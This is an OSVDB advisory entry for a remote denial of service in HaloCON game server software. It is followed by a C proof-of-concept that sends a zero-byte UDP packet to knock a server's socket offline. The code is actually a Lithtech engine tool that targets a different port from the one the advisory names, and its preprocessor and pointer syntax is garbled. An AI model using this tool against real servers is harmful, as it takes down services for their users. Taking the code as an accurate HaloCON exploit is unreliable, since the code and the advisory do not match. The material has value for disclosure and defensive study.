Halocon Empty UDP Datagram Remote DoS

2005-01-17T10:06:38
ID OSVDB:13010
Type osvdb
Reporter Luigi Auriemma(aluigi@autistici.org)
Modified 2005-01-17T10:06:38

Description

Vulnerability Description

HaloCON versions 2.0.0.81 and earlier are vulnerable to a denial of service attack. By sending a specially-crafted UDP packet to port 2305, a remote attacker could terminate HaloCON server's socket.

Solution Description

No patch is available yet as of writing this text. Possible solution at the moment is to host games on a trusted network only.

Short Description

HaloCON versions 2.0.0.81 and earlier are vulnerable to a denial of service attack. By sending a specially-crafted UDP packet to port 2305, a remote attacker could terminate HaloCON server's socket.

Manual Testing Notes

/*

by Luigi Auriemma - http://aluigi.altervista.org/poc/lithsock.zip

*/

include <stdio.h>

include <stdlib.h>

include <string.h>

ifdef WIN32

#include &lt;winsock.h&gt;
#include "winerr.h"

#define close closesocket
#define ONESEC 1000

else

#include &lt;unistd.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;netdb.h&gt;

#define ONESEC 1

endif

define VER "0.1"

define BUFFSZ 2048

define PORT 27888

define TIMEOUT 3

define CHECK "\x10\x7f\x33\x01"

define ZERO "" // 0 bytes, a cool bug

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \ < 0) std_err();

int info_proto(u_char data); int timeout(int sock); u_long resolv(char host); void std_err(void);

int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len; u_short port = PORT; u_char buff[BUFFSZ];

setbuf(stdout, NULL);

fputs("\n"
    "Lithtech engine (new protocol) socket unreacheable "VER"\n"
    " Contract Jack &lt;= 1.1\n"
    " No one lives forever 2 &lt;= 1.3\n"
    " Tron 2.0 &lt;= 1.042\n"
    "by Luigi Auriemma\n"
    "e-mail: aluigi@autistici.org\n"
    "web: http://aluigi.altervista.org\n"
    "\n", stdout);

if(argc &lt; 2) {
    printf("\n"
        "Usage: %s &lt;host&gt; [port(%d)]\n"
        "\n", argv[0], port);
    exit(1);
}

ifdef WIN32

WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);

endif

if(argc &gt; 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
    inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd &lt; 0) std_err();

fputs("- check if server is online\n", stdout);
SEND(CHECK);
if(timeout(sd) &lt; 0) {
    fputs("\nError: socket timeout, no reply received\n\n", stdout);
    exit(1);
} else {
    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
    if(len &lt; 0) std_err();
    if(memcmp(buff, CHECK, 3)) {
        if(*buff == '\\') {
            fputs("- received an information reply, seems you have specified a wrong port.\n"
                " Try with a lower one\n", stdout);
        } else {
            fputs("\nError: unknown data received, this is none of the vulnerable games\n\n", stdout);
        }
        exit(1);
    }
}

fputs("- send a ZERO bytes packet\n", stdout);
SEND(ZERO);

fputs("- wait one second\n", stdout);
sleep(ONESEC);

fputs("- check if the server is vulnerable:\n", stdout);
SEND(CHECK);

if(timeout(sd) &lt; 0) {
    fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
    fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}

close(sd);

return(0);

}

int timeout(int sock) { struct timeval tout; fd_set fd_read; int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err &lt; 0) std_err();
if(!err) return(-1);
return(0);

}

u_long resolv(char host) { struct hostent hp; u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
    hp = gethostbyname(host);
    if(!hp) {
        printf("\nError: Unable to resolv hostname (%s)\n", host);
        exit(1);
    } else host_ip = *(u_long *)hp-&gt;h_addr;
}
return(host_ip);

}

ifndef WIN32

void std_err(void) {
    perror("\nError");
    exit(1);
}

endif

References:

Vendor URL: http://www.zaboo.net Secunia Advisory ID:13868 Other Advisory URL: http://aluigi.altervista.org/adv/halocon-adv.txt Other Advisory URL: http://www.securiteam.com/windowsntfocus/5XP0D20EKO.html